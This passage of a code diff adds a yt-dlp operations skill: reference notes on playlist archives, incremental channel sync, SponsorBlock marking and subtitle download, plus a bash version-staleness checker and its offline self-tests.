+yt-dlp --load-info-json X.info.json                  # re-download later without re-extracting
+```
+
+`--write-info-json` is the pipeline-friendly pattern: every downstream step
+(transcription, indexing, dedup) reads structured metadata from the sidecar
+instead of re-querying the platform.

+ 97 - 0
skills/ytdlp-ops/references/playlists-archives.md

@@ -0,0 +1,97 @@
+# Playlists, Channels, and Archive Files
+
+Batch acquisition done right: resumable, deduplicated, polite, and cheap to re-run.
+
+## The archive file (`--download-archive`)
+
+```bash
+yt-dlp --download-archive archive.txt -o "%(title).100B [%(id)s].%(ext)s" PLAYLIST_URL
+```
+
+The archive is a plain text file, one `extractor video_id` line per completed
+download (e.g. `youtube dQw4w9WgXcQ`). On every run, anything already listed is
+skipped *before* download. Properties worth knowing:
+
+- **Append-only and trivially repairable** — delete a line to force a re-download;
+  concatenate archives to merge collections.
+- **It records IDs, not files** — moving/renaming downloaded files doesn't break it,
+  but *deleting* a file doesn't trigger a re-download either. Keep `%(id)s` in the
+  filename template so files and archive lines stay correlatable.
+- **Scope it per collection** (one archive per channel/playlist/job), not one
+  global file — global archives make "did job X get video Y?" unanswerable.
+
+## Incremental channel sync (the cron pattern)
+
+The naive cron job re-walks the whole channel every run — thousands of metadata
+requests to discover nothing is new. The right shape:
+
+```bash
+yt-dlp --download-archive archive.txt --break-on-existing --lazy-playlist \
+  -S "res:1080,vcodec:h264,acodec:m4a" \
+  --sleep-requests 1 --sleep-interval 5 --max-sleep-interval 15 \
+  -o "%(channel)s/%(upload_date)s - %(title).100B [%(id)s].%(ext)s" \
+  CHANNEL_URL
+```
+
+- `--break-on-existing` — stop the entire run at the first already-archived video.
+- `--lazy-playlist` — process entries as they stream in, instead of fetching the
+  full playlist metadata first. The pair turns "walk 2,000 entries" into "check
+  the 3 newest, stop".
+
+**Caveat — only valid when new items appear at the front.** Channel upload feeds
+are newest-first, so this is safe. A curated playlist that gets items inserted
+anywhere (or sorted oldest-first) will *miss* additions behind the first archived
+hit: drop `--break-on-existing` for those and eat the full walk.
+
+`--break-on-reject` is the sibling for filter-based stops (e.g. with
+`--dateafter`); same front-loaded-ordering caveat.
+
+## Selecting subsets
+
+```bash
+yt-dlp -I 1:10 PLAYLIST_URL            # items 1-10
+yt-dlp -I -3: PLAYLIST_URL             # last three
+yt-dlp -I ::2 PLAYLIST_URL             # every second item
+yt-dlp --dateafter 20260101 CHANNEL_URL   # uploaded on/after a date (YYYYMMDD)
+yt-dlp --match-filters "duration<600 & !is_live" CHANNEL_URL
+```
+
+`-I`/`--playlist-items` takes Python-slice-like `start:stop:step` with negative
+indexing. `--match-filters` runs against metadata fields — combine with
+`--break-on-reject` carefully (ordering caveat above).
+
+## Enumerate without downloading
+
+```bash
+# Fast listing (no per-video page fetches):
+yt-dlp --flat-playlist --print "%(id)s %(title)s" PLAYLIST_URL
+
+# Full playlist metadata as one JSON document:
+yt-dlp --flat-playlist -J PLAYLIST_URL | jq '.entries | length'
+```
+
+`--flat-playlist` skips per-entry extraction — fields like exact duration,
+formats, and descriptions may be missing or approximate; it's for inventory, not
+for metadata-accurate pipelines.
+
+## Playlist-aware output templates
+
+```bash
+-o "%(playlist)s/%(playlist_index)03d - %(title).100B [%(id)s].%(ext)s"
+```
+
+`%(playlist_index)s` is the position *in this playlist* (zero-pad it — `03d` —
+so shells sort correctly). For channel scrapes prefer `%(upload_date)s` prefixes:
+playlist indexes shift as videos are added/removed; upload dates don't.
+
+## Robustness flags for long batch runs
+
+```bash
+--retries 10 --fragment-retries 10    # transient network errors
+--ignore-errors                       # one private/deleted video doesn't kill the run
+--no-overwrites                       # never clobber an existing file
+--windows-filenames                   # force Windows-safe names even on Linux (NAS/SMB targets)
+```
+
+A failed run is rerunnable for free: the archive skips everything completed, and
+partially-downloaded `.part` files resume automatically.

+ 68 - 0
skills/ytdlp-ops/references/sponsorblock.md

@@ -0,0 +1,68 @@
+# SponsorBlock Integration
+
+yt-dlp has native SponsorBlock support: crowd-sourced segment data (sponsor reads,
+intros, outros, self-promo) fetched at download time and either **marked** as
+chapters or **removed** from the media.
+
+## Mark vs remove (the decision)
+
+| | `--sponsorblock-mark` | `--sponsorblock-remove` |
+|---|---|---|
+| Media bytes | Untouched — adds chapter markers only | Cut out — file is modified |
+| Lossless | Yes | No — re-encodes around cut boundaries |
+| Reversible | Yes (chapters are metadata) | No |
+| Player behaviour | Players with auto-skip honor the chapters; others just show them | Segments simply don't exist |
+| Composability | Works with everything | **Incompatible with `--download-sections`**; complicates archives (file ≠ platform timeline) |
+
+**Default to `--sponsorblock-mark`.** It preserves the original media, keeps
+timestamps aligned with the platform (comments, transcripts, and chapter URLs
+still match), and the decision to skip stays with the player. Remove only for
+final-consumption files where the segments must be gone (e.g. media-server
+libraries watched on dumb clients).
+
+## Usage
+
+```bash
+# Mark everything SponsorBlock knows about as chapters (lossless):
+yt-dlp --sponsorblock-mark all URL
+
+# Mark only the high-confidence ad categories:
+yt-dlp --sponsorblock-mark sponsor,selfpromo URL
+
+# Remove sponsor reads and self-promo from the file (re-encodes at boundaries):
+yt-dlp --sponsorblock-remove sponsor,selfpromo URL
+
+# Custom chapter title for marked segments:
+yt-dlp --sponsorblock-mark all --sponsorblock-chapter-title "[SB]: %(category_names)l" URL
+```
+
+## Categories
+
+| Category | Content |
+|---|---|
+| `sponsor` | Paid sponsor reads |
+| `selfpromo` | Unpaid self-promotion (merch, Patreon, other videos) |
+| `interaction` | "Like and subscribe" reminders |
+| `intro` / `outro` | Intro animations / endcards and credits |
+| `preview` | Recap/preview of the video itself |
+| `filler` | Tangents and filler (aggressive — community-tagged loosely) |
+| `music_offtopic` | Non-music sections in music videos |
+| `poi_highlight` | Point-of-interest marker (mark-only) |
+| `chapter` | Community-submitted chapters (mark-only) |
+| `all` / `default` | Everything / the default mark set |
+
+`-remove` accepts the cuttable subset (not `poi_highlight`/`chapter`). Start
+conservative: `sponsor,selfpromo` has high community accuracy; `filler` is noisy.
+
+## Operational notes
+
+- **Data is crowd-sourced** — new uploads may have no segments yet (the flags then
+  do nothing, silently). Niche channels may never be tagged.
+- The SponsorBlock API is an extra network dependency: `--sponsorblock-api URL`
+  points at a mirror if the default is unreachable; downloads proceed without
+  segment data on API failure.
+- Remove + `--download-archive` interact philosophically: the archive says
+  "have video X", but the file is a *modified* X. If fidelity matters to the
+  collection, mark instead.
+- Chapter-mark output composes with `--embed-chapters` (platform chapters and
+  SponsorBlock chapters merge into one track).

+ 80 - 0
skills/ytdlp-ops/references/subtitles-metadata.md

@@ -0,0 +1,80 @@
+# Subtitles, Transcripts, and Metadata Embedding
+
+Subtitle download is also the cheapest transcription source that exists — auto-subs
+for a 1-hour video cost one HTTP request vs minutes of Whisper compute.
+
+## Downloading subtitles
+
+```bash
+# Survey what exists (manual and auto-generated, per language):
+yt-dlp --list-subs URL
+
+# Manual subs, all English variants, skip the live-chat pseudo-track, as SRT:
+yt-dlp --write-subs --sub-langs "en.*,-live_chat" --convert-subs srt --skip-download URL
+
+# Auto-generated (ASR) captions — present on most videos even without manual subs:
+yt-dlp --write-auto-subs --sub-langs en --convert-subs srt --skip-download URL
+
+# Both, preferring manual when it exists:
+yt-dlp --write-subs --write-auto-subs --sub-langs "en.*,-live_chat" --convert-subs srt URL
+```
+
+- `--sub-langs` takes comma-separated language regexes with `-` exclusions.
+  `"en.*"` catches `en`, `en-US`, `en-GB`, `en-orig`. `"all,-live_chat"` = everything
+  except the live-chat JSON track (which otherwise downloads as a huge `.json`).
+- `--convert-subs srt|vtt|ass|lrc` — platforms serve VTT/JSON3; most downstream
+  tooling wants SRT. Conversion is lossless for timing/text (styling is dropped).
+- `--skip-download` makes it a subs-only run.
+
+## Subs as cheap transcripts (STT shortcut)
+
+Before reaching for Whisper, check whether auto-subs are good enough:
+
+```bash
+yt-dlp --write-auto-subs --sub-langs en --convert-subs srt --skip-download -o "%(id)s" URL
+```
+
+Auto-subs quality is "ASR with platform-scale models" — usually fine for search,
+summarisation, and topic extraction; weak on names, jargon, and punctuation.
+When word-level timing precision or quality matters, do real STT: acquire audio
+with `-x --audio-format opus`, then the ffmpeg-ops
+[stt-whisper](../../ffmpeg-ops/references/stt-whisper.md) pipeline.
+
+Note: auto-sub SRT contains rolling-caption duplication (each line appears twice
+as the window scrolls). Dedupe before feeding to an LLM — naive concatenation
+roughly doubles token cost.
+
+## Embedding (subs travel with the file)
+
+```bash
+yt-dlp --embed-subs --sub-langs en URL
+```
+
+Embeds as *soft* subtitles (toggleable track — `mov_text` in MP4, SRT/ASS in MKV).
+Burn-in (hard subs) is a re-encode and belongs to ffmpeg-ops
+[subtitles.md](../../ffmpeg-ops/references/subtitles.md).
+
+## Metadata, thumbnails, chapters
+
+```bash
+# The self-describing-file trio:
+yt-dlp --embed-metadata --embed-thumbnail --embed-chapters URL
+```
+
+- `--embed-metadata` — title/uploader/date/description into container tags.
+- `--embed-thumbnail` — cover art (mp4/m4a/mkv/mp3/opus targets; needs the
+  thumbnail to be convertible — yt-dlp handles webp→jpg via ffmpeg automatically).
+- `--embed-chapters` — platform chapter markers as container chapters; players
+  and editors (and ffmpeg-ops EDL tooling) can navigate them.
+  SponsorBlock chapter marking composes with this — see
+  [sponsorblock.md](sponsorblock.md).
+
+Sidecar alternative when files must stay pristine:
+
+```bash
+yt-dlp --write-thumbnail --write-description --write-info-json URL
+```
+
+`--write-info-json` is the machine-readable everything (formats, chapters, tags,
+counts) — the right input for indexing pipelines; see
+[output-templates.md](output-templates.md) for routing sidecars into subdirs.

+ 258 - 0
skills/ytdlp-ops/scripts/check-ytdlp-version.sh

@@ -0,0 +1,258 @@
+#!/usr/bin/env bash
+# Staleness verifier for ytdlp-ops — offline structural + live version/extractor drift.
+#
+# --offline (default): structural integrity, NO network and no yt-dlp needed.
+#   Assets parse as JSON, every shipped reference/script/asset is cited from
+#   SKILL.md, and every relative resource link in SKILL.md resolves.
+#   Runs in PR CI; may block.
+# --live: is the INSTALLED yt-dlp still trustworthy, and do our docs still
+#   match it? Three checks: (1) version age — fetches the latest release tag
+#   from the GitHub API (yt-dlp versions are dates); >60 days behind = drift
+#   (exit 10). (2) flag drift — every core flag the skill documents must still
+#   exist in `yt-dlp --help`; renamed/removed = drift. (3) a metadata-only
+#   smoke extraction (--simulate; nothing downloaded); failure while the API
+#   was demonstrably reachable = drift, EXCEPT an IP bot-challenge/429 which is
+#   classified "blocked" and only warns (datacenter IPs hit this). Network/API/
+#   yt-dlp unavailable = exit 7 (advisory — the scheduled workflow skips,
+#   never blocks a PR).
+#
+# Usage:   check-ytdlp-version.sh [--offline | --live] [--no-smoke] [--json] [-q]
+# Input:   none (inspects the skill's own files; --live also yt-dlp + GitHub API).
+#          Test seams: CM_YTDLP_INSTALLED / CM_YTDLP_LATEST (version strings,
+#          e.g. 2026.05.31) bypass yt-dlp/network and imply --no-smoke.
+# Output:  stdout = findings ("DRIFT:"/"STRUCT:" lines), or with --json one
+#          envelope (schema claude-mods.ytdlp-ops.version-check/v1)
+# Stderr:  progress, warnings
+# Exit:    0 clean, 2 usage, 7 network/API/yt-dlp unavailable (--live; advisory),
+#          10 drift (>60 days behind latest, smoke failed, or structural finding)
+#
+# Examples:
+#   check-ytdlp-version.sh --offline
+#   check-ytdlp-version.sh --live
+#   check-ytdlp-version.sh --live --json | jq '.data.days_behind'
+set -uo pipefail
+
+EXIT_OK=0; EXIT_USAGE=2; EXIT_UNAVAILABLE=7; EXIT_DRIFT=10
+MAX_AGE_DAYS=60
+RELEASES_API="https://api.github.com/repos/yt-dlp/yt-dlp/releases/latest"
+# "Me at the zoo" — the first video ever uploaded to YouTube; the most
+# deletion-proof target that exists (metadata-only probe, nothing downloaded).
+SMOKE_URL="https://www.youtube.com/watch?v=jNQXAC9IVRw"
+
+MODE="offline"; QUIET=0; JSON=0; SMOKE=1
+while [[ $# -gt 0 ]]; do
+  case "$1" in
+    --offline)  MODE="offline" ;;
+    --live)     MODE="live" ;;
+    --no-smoke) SMOKE=0 ;;
+    --json)     JSON=1 ;;
+    -q|--quiet) QUIET=1 ;;
+    -h|--help)  awk 'NR>1 && !/^#/{exit} NR>1{sub(/^# ?/,""); print}' "$0"; exit "$EXIT_OK" ;;
+    *) echo "ERROR: unknown argument: $1 (try --help)" >&2; exit "$EXIT_USAGE" ;;
+  esac
+  shift
+done
+
+SKILL_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
+SKILL_MD="$SKILL_DIR/SKILL.md"
+
+FINDINGS=()
+INSTALLED=""; LATEST=""; DAYS_BEHIND=""; SMOKE_RESULT="skipped"; JS_RUNTIME="unknown"
+emit()    { [[ "$QUIET" -eq 1 ]] || printf '%s\n' "$1" >&2; }
+finding() { FINDINGS+=("$1"); }
+
+# Pick a working python for JSON/date work (Windows Store stub exits non-zero).
+PYTHON=""
+for c in python3 python py; do
+  if command -v "$c" >/dev/null 2>&1 && "$c" -c "" >/dev/null 2>&1; then PYTHON="$c"; break; fi
+done
+
+# 2026.5.31 or 2026.05.31.232914 (nightly) -> 2026-05-31; empty on parse failure.
+norm_date() {
+  local v y m d
+  v="$(printf '%s' "$1" | cut -d. -f1-3)"
+  IFS=. read -r y m d <<<"$v"
+  [[ "${y:-}" =~ ^[0-9]{4}$ && "${m:-}" =~ ^[0-9]{1,2}$ && "${d:-}" =~ ^[0-9]{1,2}$ ]] || return 1
+  printf '%04d-%02d-%02d' "$((10#$y))" "$((10#$m))" "$((10#$d))"
+}
+
+# days from $1 (older, ISO) to $2 (newer, ISO); empty if no date backend exists.
+days_between() {
+  if date -d "2020-01-01" +%s >/dev/null 2>&1; then
+    echo $(( ( $(date -d "$2" +%s) - $(date -d "$1" +%s) ) / 86400 ))
+  elif [[ -n "$PYTHON" ]]; then
+    "$PYTHON" -c "import sys,datetime as dt; a,b=sys.argv[1:3]; print((dt.date.fromisoformat(b)-dt.date.fromisoformat(a)).days)" "$1" "$2" 2>/dev/null
+  fi
+}
+
+# ── offline: structural ──────────────────────────────────────────────────────
+offline_checks() {
+  emit "== check-ytdlp-version --offline (structural)"
+  [[ -f "$SKILL_MD" ]] || { finding "STRUCT: SKILL.md missing"; return; }
+
+  # 1. assets parse as JSON
+  for a in "$SKILL_DIR"/assets/*.json; do
+    [[ -e "$a" ]] || continue
+    if [[ -n "$PYTHON" ]]; then
+      "$PYTHON" -c "import json,sys; json.load(open(sys.argv[1], encoding='utf-8'))" "$a" \
+        >/dev/null 2>&1 || finding "STRUCT: asset not valid JSON: $(basename "$a")"
+    elif command -v jq >/dev/null 2>&1; then
+      jq empty "$a" >/dev/null 2>&1 || finding "STRUCT: asset not valid JSON: $(basename "$a")"
+    fi
+  done
+
+  # 2. every shipped resource is cited from SKILL.md (dead-weight check)
+  for d in references scripts assets; do
+    for f in "$SKILL_DIR/$d"/*; do
+      [[ -f "$f" ]] || continue
+      base="$(basename "$f")"
+      [[ "$base" == ".gitkeep" ]] && continue
+      grep -q "$base" "$SKILL_MD" \
+        || finding "STRUCT: $d/$base exists on disk but is never cited from SKILL.md"
+    done
+  done
+
+  # 3. every relative resource link in SKILL.md resolves
+  while IFS= read -r path; do
+    [[ -e "$SKILL_DIR/$path" ]] \
+      || finding "STRUCT: SKILL.md links to missing file: $path"
+  done < <(grep -oE '\]\((references|assets|scripts|tests)/[^)#]+\)' "$SKILL_MD" \
+           | sed -E 's/^\]\(//; s/\)$//' | sort -u)
+}
+
+# ── live: installed yt-dlp vs latest release + smoke extraction ─────────────
+unavailable() { # $1 = human reason
+  echo "$1" >&2
+  if [[ "$JSON" -eq 1 ]]; then
+    printf '{ "error": { "code": "UNAVAILABLE", "message": "%s", "details": {} } }\n' "$1"
+  fi
+  exit "$EXIT_UNAVAILABLE"
+}
+
+live_checks() {
+  emit "== check-ytdlp-version --live (version age + extractor smoke)"
+  local seamed=0
+  [[ -n "${CM_YTDLP_INSTALLED:-}" && -n "${CM_YTDLP_LATEST:-}" ]] && { seamed=1; SMOKE=0; }
+
+  # installed version
+  if [[ "$seamed" -eq 1 ]]; then
+    INSTALLED="$CM_YTDLP_INSTALLED"
+  elif command -v yt-dlp >/dev/null 2>&1; then
+    INSTALLED="$(yt-dlp --version 2>/dev/null | head -1)"
+  fi
+  [[ -n "$INSTALLED" ]] \
+    || unavailable "yt-dlp not on PATH — install: uv tool install yt-dlp (advisory, not a failure)"
+
+  # latest release tag from the GitHub API
+  if [[ "$seamed" -eq 1 ]]; then
+    LATEST="$CM_YTDLP_LATEST"
+  else
+    command -v curl >/dev/null 2>&1 \
+      || unavailable "curl not available — cannot query the GitHub releases API"
+    local body
+    body="$(curl -fsSL --max-time 20 -H "Accept: application/vnd.github+json" \
+              ${GITHUB_TOKEN:+-H "Authorization: Bearer $GITHUB_TOKEN"} \
+              "$RELEASES_API" 2>/dev/null)" \
+      || unavailable "GitHub releases API unreachable/rate-limited (advisory, not a failure)"
+    if command -v jq >/dev/null 2>&1; then
+      LATEST="$(jq -r '.tag_name // empty' <<<"$body" 2>/dev/null)"
+    else
+      LATEST="$(grep -oE '"tag_name"[[:space:]]*:[[:space:]]*"[^"]+"' <<<"$body" \
+                | head -1 | sed -E 's/.*"([^"]+)"$/\1/')"
+    fi
+    [[ -n "$LATEST" ]] || unavailable "could not parse tag_name from the GitHub API response"
+  fi
+  emit "   installed: $INSTALLED   latest: $LATEST"
+
+  # version age (yt-dlp versions ARE dates)
+  local inst_d latest_d
+  if inst_d="$(norm_date "$INSTALLED")" && latest_d="$(norm_date "$LATEST")"; then
+    DAYS_BEHIND="$(days_between "$inst_d" "$latest_d")"
+    if [[ -z "$DAYS_BEHIND" ]]; then
+      emit "   warn: no GNU date or python available — age check skipped"
+    elif [[ "$DAYS_BEHIND" -gt "$MAX_AGE_DAYS" ]]; then
+      finding "DRIFT: installed yt-dlp $INSTALLED is $DAYS_BEHIND days behind latest $LATEST (>$MAX_AGE_DAYS) — extractors likely broken; update"
+    fi
+  else
+    emit "   warn: unparseable version string(s) — age check skipped"
+  fi
+
+  # flag drift: every core flag the skill documents must still exist in this
+  # yt-dlp's --help — a rename/removal upstream means our docs rotted.
+  # (Skipped in seamed mode: no real yt-dlp to interrogate.)
+  if [[ "$seamed" -eq 0 ]]; then
+    local help_text
+    help_text="$(yt-dlp --help 2>/dev/null)"
+    local core_flags=(--download-sections --force-keyframes-at-cuts
+      --download-archive --break-on-existing --lazy-playlist
+      --cookies-from-browser --sponsorblock-mark --sponsorblock-remove
+      --remux-video --recode-video --write-subs --write-auto-subs --sub-langs
+      --convert-subs --embed-subs --embed-metadata --embed-thumbnail
+      --embed-chapters --restrict-filenames --concurrent-fragments
+      --limit-rate --sleep-requests --sleep-interval --merge-output-format
+      --extract-audio --audio-format --flat-playlist --playlist-items
+      --match-filters --simulate --impersonate --live-from-start
+      --wait-for-video --print --paths)
+    local fl
+    for fl in "${core_flags[@]}"; do
+      grep -q -- "$fl" <<<"$help_text" \
+        || finding "DRIFT: documented flag '$fl' unknown to installed yt-dlp (renamed/removed upstream?)"
+    done
+  fi
+
+  # metadata-only smoke extraction (only when the API was reachable, so a
+  # failure here is the extractor, not the network)
+  if [[ "$SMOKE" -eq 1 ]]; then
+    # NOTE: no --no-warnings here — the JS-runtime detection below greps the
+    # "No supported JavaScript runtime" WARNING from captured stderr.
+    local smoke_cmd=(yt-dlp --simulate --no-playlist --socket-timeout 15 "$SMOKE_URL")
+    command -v timeout >/dev/null 2>&1 && smoke_cmd=(timeout 90 "${smoke_cmd[@]}")
+    local smoke_err
+    if smoke_err="$("${smoke_cmd[@]}" 2>&1 >/dev/null)"; then
+      SMOKE_RESULT="pass"
+      JS_RUNTIME="present"
+    elif grep -qiE "confirm you'?re not a bot|HTTP Error 429|too many requests" <<<"$smoke_err"; then
+      # IP-reputation challenge (datacenter IPs hit this), NOT extractor drift —
+      # treating it as drift would make the scheduled job flaky-red (§7).
+      SMOKE_RESULT="blocked"
+      emit "   warn: smoke extraction blocked by an IP challenge (bot-check/429) — not drift; skipped"
+    else
+      SMOKE_RESULT="fail"
+      finding "DRIFT: smoke extraction failed ($SMOKE_URL) with the network reachable — extractor broken; update yt-dlp"
+    fi
+    # YouTube extraction without a JS runtime is deprecated and silently thins
+    # the format list — surface it, but it's an environment warning, not drift.
+    if grep -q "No supported JavaScript runtime" <<<"$smoke_err"; then
+      JS_RUNTIME="missing"
+      emit "   warn: no JS runtime (deno/node) — YouTube formats reduced; install deno or use --js-runtimes node"
+    fi
+  fi
+}
+
+case "$MODE" in
+  offline) offline_checks ;;
+  live)    live_checks ;;
+esac
+
+if [[ "$JSON" -eq 1 ]]; then
+  flist=""
+  for f in ${FINDINGS[@]+"${FINDINGS[@]}"}; do
+    esc="${f//\\/\\\\}"; esc="${esc//\"/\\\"}"
+    flist="${flist:+$flist, }\"$esc\""
+  done
+  printf '{ "data": { "mode": "%s", "installed": %s, "latest": %s, "days_behind": %s, "smoke": "%s", "js_runtime": "%s", "findings": [%s] }, "meta": { "count": %d, "schema": "claude-mods.ytdlp-ops.version-check/v1" } }\n' \
+    "$MODE" \
+    "$([[ -n "$INSTALLED" ]] && printf '"%s"' "$INSTALLED" || printf 'null')" \
+    "$([[ -n "$LATEST" ]] && printf '"%s"' "$LATEST" || printf 'null')" \
+    "${DAYS_BEHIND:-null}" \
+    "$SMOKE_RESULT" "$JS_RUNTIME" "$flist" "${#FINDINGS[@]}"
+else
+  for f in ${FINDINGS[@]+"${FINDINGS[@]}"}; do printf '%s\n' "$f"; done
+fi
+
+if [[ "${#FINDINGS[@]}" -eq 0 ]]; then
+  emit "check-ytdlp-version ($MODE): clean"
+  exit "$EXIT_OK"
+fi
+emit "check-ytdlp-version ($MODE): ${#FINDINGS[@]} finding(s)"
+exit "$EXIT_DRIFT"

+ 118 - 0
skills/ytdlp-ops/tests/run.sh

@@ -0,0 +1,118 @@
+#!/usr/bin/env bash
+# Self-test for ytdlp-ops — fully offline: no network, no yt-dlp needed.
+#
+# Structural assertions (--help contract, bash -n, exit codes, offline verifier,
+# asset JSON) plus the verifier's 60-day age logic exercised through its
+# CM_YTDLP_INSTALLED / CM_YTDLP_LATEST test seams (which bypass yt-dlp and the
+# GitHub API and disable the smoke extraction). Real --live runs belong to the
+# scheduled freshness workflow only — a network blip must never fail a PR.
+#
+# Usage:   bash tests/run.sh
+# Exit:    0 all pass, 1 one or more failures
+
+set -uo pipefail
+
+HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+SKILL="$(dirname "$HERE")"
+V="$SKILL/scripts/check-ytdlp-version.sh"
+
+# Pick a python that actually executes (Windows Store python3 stub exits non-zero).
+PYTHON=""
+for c in python python3 py; do
+  if command -v "$c" >/dev/null 2>&1 && "$c" -c "" >/dev/null 2>&1; then PYTHON="$c"; break; fi
+done
+
+SB="$(mktemp -d)"; trap 'rm -rf "$SB"' EXIT
+PASS=0; FAIL=0
+ok() { PASS=$((PASS+1)); printf '  PASS  %s\n' "$1"; }
+no() { FAIL=$((FAIL+1)); printf '  FAIL  %s\n' "$1"; }
+expect_exit() { [[ "$2" == "$3" ]] && ok "$1 (exit $3)" || no "$1 (want $2 got $3)"; }
+expect_has()  { case "$3" in *"$2"*) ok "$1";; *) no "$1 (missing '$2')";; esac; }
+
+echo "=== ytdlp-ops self-test ==="
+
+# ── contract ──────────────────────────────────────────────────────────────────
+echo "-- contract --"
+bash -n "$V" 2>/dev/null && ok "bash -n check-ytdlp-version.sh" || no "bash -n check-ytdlp-version.sh"
+bash "$V" --help >/dev/null 2>&1; expect_exit "--help exits 0" 0 $?
+out="$(bash "$V" --help 2>/dev/null)"
+expect_has "--help has Examples" "xamples" "$out"
+expect_has "--help documents exit 7" "7" "$out"
+expect_has "--help documents exit 10" "10" "$out"
+bash "$V" --bogus >/dev/null 2>&1; expect_exit "unknown flag -> 2" 2 $?
+
+# ── offline structural mode ──────────────────────────────────────────────────
+echo "-- offline structural --"
+bash "$V" --offline >/dev/null 2>&1; expect_exit "--offline clean on shipped skill" 0 $?
+out="$(bash "$V" --offline --json 2>/dev/null)"
+expect_has "--offline --json envelope" '"schema": "claude-mods.ytdlp-ops.version-check/v1"' "$out"
+expect_has "--offline --json zero findings" '"count": 0' "$out"
+
+# an uncited resource must be flagged (run the verifier from a doctored copy)
+cp -r "$SKILL" "$SB/copy"
+printf '# orphan\n' > "$SB/copy/references/orphan.md"
+bash "$SB/copy/scripts/check-ytdlp-version.sh" --offline >"$SB/orphan.out" 2>/dev/null
+expect_exit "--offline flags uncited resource -> 10" 10 $?
+expect_has "finding names the orphan" "orphan.md" "$(cat "$SB/orphan.out")"
+
+# a ghost link must be flagged
+cp -r "$SKILL" "$SB/ghost"
+printf '\nsee [gone](references/does-not-exist.md)\n' >> "$SB/ghost/SKILL.md"
+bash "$SB/ghost/scripts/check-ytdlp-version.sh" --offline >"$SB/ghost.out" 2>/dev/null
+expect_exit "--offline flags ghost link -> 10" 10 $?
+expect_has "finding names the missing file" "does-not-exist.md" "$(cat "$SB/ghost.out")"
+
+# ── assets ───────────────────────────────────────────────────────────────────
+echo "-- assets --"
+for a in "$SKILL"/assets/*.json; do
+  if [[ -n "$PYTHON" ]]; then
+    "$PYTHON" -c "import json,sys; json.load(open(sys.argv[1], encoding='utf-8'))" "$a" \
+      >/dev/null 2>&1 && ok "asset parses: $(basename "$a")" || no "asset parses: $(basename "$a")"
+  elif command -v jq >/dev/null 2>&1; then
+    jq empty "$a" >/dev/null 2>&1 && ok "asset parses: $(basename "$a")" || no "asset parses: $(basename "$a")"
+  else
+    echo "  SKIP  asset JSON parse (no python or jq)"
+  fi
+done
+grep -q '"schema": "claude-mods.ytdlp-ops.format-presets/v1"' "$SKILL/assets/format-presets.json" \
+  && ok "format-presets schema id" || no "format-presets schema id"
+
+# ── live mode via test seams (no network, no yt-dlp) ─────────────────────────
+echo "-- live age logic (seamed) --"
+CM_YTDLP_INSTALLED=2026.01.01 CM_YTDLP_LATEST=2026.06.01 bash "$V" --live >/dev/null 2>&1
+expect_exit "151 days behind -> 10" 10 $?
+CM_YTDLP_INSTALLED=2026.06.01 CM_YTDLP_LATEST=2026.06.01 bash "$V" --live >/dev/null 2>&1
+expect_exit "in sync -> 0" 0 $?
+CM_YTDLP_INSTALLED=2026.05.01 CM_YTDLP_LATEST=2026.06.01 bash "$V" --live >/dev/null 2>&1
+expect_exit "31 days behind (<=60) -> 0" 0 $?
+CM_YTDLP_INSTALLED=2026.06.01.232900 CM_YTDLP_LATEST=2026.06.01 bash "$V" --live >/dev/null 2>&1
+expect_exit "nightly 4-part version parses -> 0" 0 $?
+
+out="$(CM_YTDLP_INSTALLED=2026.01.01 CM_YTDLP_LATEST=2026.06.01 bash "$V" --live --json 2>/dev/null)"
+expect_has "seamed --json envelope" '"schema": "claude-mods.ytdlp-ops.version-check/v1"' "$out"
+expect_has "seamed --json days_behind" '"days_behind": 151' "$out"
+expect_has "seamed --json smoke skipped" '"smoke": "skipped"' "$out"
+expect_has "seamed --json js_runtime unknown" '"js_runtime": "unknown"' "$out"
+expect_has "seamed --json DRIFT finding" "DRIFT" "$out"
+if [[ -n "$PYTHON" ]]; then
+  printf '%s' "$out" | "$PYTHON" -c "import json,sys; json.load(sys.stdin)" >/dev/null 2>&1 \
+    && ok "seamed --json is valid JSON" || no "seamed --json is valid JSON"
+fi
+
+# stdout/stderr separation: data on stdout only
+err="$(CM_YTDLP_INSTALLED=2026.06.01 CM_YTDLP_LATEST=2026.06.01 bash "$V" --live --json 2>/dev/null >"$SB/stdout.txt"; cat "$SB/stdout.txt")"
+case "$err" in
+  "{ \"data\""*) ok "stdout carries only the JSON envelope";;
+  *) no "stdout carries only the JSON envelope";;
+esac
+
+# ── SKILL.md sanity ──────────────────────────────────────────────────────────
+echo "-- SKILL.md --"
+grep -q '^name: ytdlp-ops$' "$SKILL/SKILL.md" && ok "frontmatter name" || no "frontmatter name"
+grep -q 'related-skills: ffmpeg-ops' "$SKILL/SKILL.md" && ok "ffmpeg-ops cross-link" || no "ffmpeg-ops cross-link"
+grep -q 'check-ytdlp-version.sh' "$SKILL/SKILL.md" && ok "verifier cited from SKILL.md" || no "verifier cited from SKILL.md"
+
+echo ""
+echo "=== $PASS passed, $FAIL failed ==="
+[[ "$FAIL" -eq 0 ]] || exit 1
+exit 0

+ 13 - 0
tests/check-resources.sh

@@ -44,6 +44,15 @@ run "hooks-lint --help"                   0 "$PY" skills/claude-code-ops/scripts
 echo "== playwright-ops: flake-triage"
 run "flake-triage --help" 0 "$PY" skills/playwright-ops/scripts/triage-flakes.py --help
 
+echo "== ffmpeg-ops: command/resource verifier"
+run "ffmpeg-ops --offline consistent" 0 bash skills/ffmpeg-ops/scripts/verify-commands.sh --offline
+run "ffmpeg-ops --help"               0 bash skills/ffmpeg-ops/scripts/verify-commands.sh --help
+
+
+echo "== ytdlp-ops: version/staleness verifier"
+run "ytdlp-ops --offline consistent" 0 bash skills/ytdlp-ops/scripts/check-ytdlp-version.sh --offline
+run "ytdlp-ops --help"               0 bash skills/ytdlp-ops/scripts/check-ytdlp-version.sh --help
+
 echo "== protocol: every new verifier is executable + compiles"
 for s in skills/claude-api-ops/scripts/check-model-table.py \
          skills/claude-code-ops/scripts/validate-hooks-json.py \
@@ -52,6 +61,10 @@ for s in skills/claude-api-ops/scripts/check-model-table.py \
 done
 bash -n skills/terraform-ops/scripts/check-action-refs.sh 2>/dev/null \
     && pass "bash -n check-action-refs.sh" || bad "bash -n check-action-refs.sh"
+bash -n skills/ffmpeg-ops/scripts/verify-commands.sh 2>/dev/null \
+    && pass "bash -n verify-commands.sh" || bad "bash -n verify-commands.sh"
+bash -n skills/ytdlp-ops/scripts/check-ytdlp-version.sh 2>/dev/null \
